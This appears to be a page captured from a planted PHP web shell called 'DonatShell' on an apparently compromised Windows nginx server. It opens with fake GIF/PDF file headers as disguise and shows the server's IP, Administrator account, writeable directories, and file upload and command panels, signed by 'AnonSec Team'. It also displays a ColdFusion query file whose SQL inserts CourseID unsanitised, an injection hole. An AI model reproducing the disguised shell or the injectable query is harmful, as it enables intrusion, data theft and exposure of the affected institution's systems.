GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/qry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/qry/CoursePrerequisiteInfo.cfqry
<!--- CoursePrerequisiteInfo.cfqry --->

<cfparam name="CoursePrerequisiteInfoDebug" default=False>
<cfif CoursePrerequisiteInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>CoursePrerequisiteInfoDebug is on.<br></cfoutput>
</cfif>

<cfparam name="CourseID" default="">

<cfif CoursePrerequisiteInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>CourseID=#CourseID#<br>
 <pre>
  SELECT Departments.DepartmentCode, 
     Courses.CourseID, 
     Courses.CourseNumber
   FROM Courses, 
     Courses_Prerequisites, 
     Departments
  WHERE Courses.DepartmentID = Departments.DepartmentID
   AND Courses_Prerequisites.CourseID = #CourseID#
   AND Courses_Prerequisites.PrerequisiteID =Courses.CourseID
 ORDER BY Departments.DepartmentCode, Courses.CourseNumber
 </pre></cfoutput>
</cfif>

<cfquery datasource="#APPLICATION.DATASOURCE_CST#" 
     name="PrerequisiteCourses">
  SELECT Departments.DepartmentCode, 
     Courses.CourseID, 
     Courses.CourseNumber
   FROM Courses, 
     Courses_Prerequisites, 
     Departments
  WHERE Courses.DepartmentID = Departments.DepartmentID
   AND Courses_Prerequisites.CourseID = #CourseID#
   AND Courses_Prerequisites.PrerequisiteID =Courses.CourseID
 ORDER BY Departments.DepartmentCode, Courses.CourseNumber
</cfquery>

<cfif CoursePrerequisiteInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>PrerequisiteCourses.RecordCount=#PrerequisiteCourses.RecordCount#<br></cfoutput>
</cfif>

<cfset PrerequisiteCourseIDList = "">
<cfset PrerequisiteCourseNameList = "">

<cfloop query="PrerequisiteCourses">
 <cfset PrerequisiteCourseIDList = ListAppend("#PrerequisiteCourseIDList#", "#CourseID#")>
 <cfset PrerequisiteCourseNameList = ListAppend("#PrerequisiteCourseNameList#", "#DepartmentCode##CourseNumber#")>
</cfloop>

<cfif CoursePrerequisiteInfoDebug AND REMOTE_ADDR eq "127.0.0.1">
 <cfoutput>PrerequisiteCourseIDList=#PrerequisiteCourseIDList#<br></cfoutput>
</cfif>

Anon7 - 2022
AnonSec Team